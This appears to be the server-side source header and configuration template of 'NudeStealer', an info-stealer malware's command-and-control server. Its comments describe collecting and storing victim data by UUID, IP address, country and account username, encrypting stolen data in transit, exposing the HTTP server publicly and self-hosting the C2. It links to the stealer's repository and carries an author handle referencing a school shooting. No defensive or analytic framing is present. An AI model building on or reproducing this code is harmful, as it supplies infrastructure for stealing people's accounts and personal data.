__projname__ = "NudeStealer Server" __author__ = "0xschoolshooter" __version__ = "1.0.0" __title__ = f"{__projname__} v{__version__} ~ by {__author__}" from pathlib import Path from concurrent.futures import ThreadPoolExecutor from .helpers.logger import setup_logger from serverside.helpers.config import get logger = setup_logger() running_tasks = {} executor = ThreadPoolExecutor(max_workers=2) BASE_DIR = Path(__file__).resolve().parent.parent LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log") DATABASE_FILE = BASE_DIR / get("paths", "database_file_name", fallback="nudestealer.sqlite3") CONFIG_TEMPLATE = """ [general] app_name = NuDe Stealer banner = /hbf mission / Operation version = 1.0.0 # Only allows local connections, developer only debug features enabled debug = false [paths] # you might as well change these if you want to keep things organized, but they can be left as is log_file_name = nudestealer_log.log database_file_name = nudestealer.sqlite3 # Folder where victim data will be stored after # their UUID, last updated state (date), IP address/country & account username # note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI vic_data_folder = vic_data [network] # host the http server will bind to, for public linux hosts 0.0.0.0 is recommended host = 127.0.0.1 # port the http server will run on port = 80 # whether to encrypt data before sending it via Ascon-AEAD128 # note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI use_ascon = True # ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP ratelimit = True # 0 for unlimited max_concurrent_connections = 0 [administration] # admin account username and password, change these before running the server for the first time systemadmin_username = admin systemadmin_password = nudestealer # if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online. # well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into: # https://git.fingeri.ng/dff/nude-stealer self_host = True"""